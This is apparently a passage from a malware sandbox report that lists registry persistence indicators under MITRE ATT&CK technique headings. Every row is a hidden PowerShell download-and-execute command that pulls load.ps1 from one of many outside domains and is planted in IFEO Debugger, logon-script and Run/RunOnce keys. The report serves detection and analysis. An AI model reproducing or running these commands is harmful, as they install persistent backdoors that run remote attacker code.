Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\""	reg.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 34 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\""	reg.exe

Adds Run key to start application 2 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\""	reg.exe
